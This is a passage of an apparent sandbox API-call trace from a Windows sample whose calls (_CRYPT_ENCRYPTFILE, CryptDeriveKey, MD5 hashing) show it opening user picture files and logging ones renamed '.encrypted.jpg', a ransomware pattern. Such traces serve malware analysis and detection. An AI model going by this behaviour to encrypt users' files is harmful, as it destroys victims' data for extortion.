hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.915] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0027.915] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.915] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.915] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.915] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.915] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.916] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.917] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.917] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.917] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.917] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.917] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.917] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.917] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.917] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0027.919] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=8064) returned 1 [0027.919] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.919] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0027.919] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0027.919] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1f80, lpOverlapped=0x0) returned 1 [0027.919] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0027.919] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x1f80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.919] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=8064) returned 1 [0027.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\k_Yns1.encrypted.jpg\r\n", cchWideChar=58, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 58 [0027.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\k_Yns1.encrypted.jpg\r\n", cchWideChar=58, lpMultiByteStr=0xe8f4051590, cbMultiByte=58, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\k_Yns1.encrypted.jpg\r\n", lpUsedDefaultChar=0x0) returned 58 [0027.919] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f40517c0*, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40517c0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x39, lpOverlapped=0x0) returned 1 [0027.919] CloseHandle (hObject=0x1fc) returned 1 [0027.920] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.920] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.921] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.921] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.921] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.921] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.921] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.921] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.922] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41786a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0027.922] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0027.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41789c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0027.922] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0027.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\laAxEFBmzBFaQO.bmp", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0027.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\laAxEFBmzBFaQO.bmp", cchWideChar=54, lpMultiByteStr=0xe8f404ba10, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\laAxEFBmzBFaQO.bmp", lpUsedDefaultChar=0x0) returned 54 [0027.923] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\laAxEFBmzBFaQO.bmp" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\laaxefbmzbfaqo.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=54, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 54 [0027.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=54, lpWideCharStr=0xe8f4067370, cchWideChar=54 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\laAxEFBmzBFaQO.bmp") returned 54 [0027.923] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.924] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.924] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.924] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0027.924] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178580, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0027.924] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0027.924] CloseHandle (hObject=0x1fc) returned 1 [0027.925] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.925] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.925] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.925] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0027.925] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.925] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0027.925] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0027.925] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.925] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.925] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.925] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.925] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.925] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.925] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0027.925] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.925] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.925] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.925] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.925] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.926] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.926] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.926] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.926] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.926] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.926] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.926] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.926] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.926] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.926] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.926] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0027.926] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.926] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.926] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.926] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.926] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.926] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0027.926] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.926] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0027.927] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.927] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.927] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0027.927] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.928] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.928] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.928] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.928] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.928] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.928] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.928] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.928] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.928] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.928] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.928] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.928] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0027.928] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.928] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.928] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.928] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.928] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.928] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.928] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.928] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.928] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.928] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.928] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.928] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.928] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.928] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.928] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.928] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.928] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.928] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.929] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.929] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0027.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.929] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0027.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.929] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.929] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.929] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.929] CryptHashData (hHash=0xe8f4062790, pbData=0xe8f418ba80, dwDataLen=0x20, dwFlags=0x1) returned 1 [0027.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, 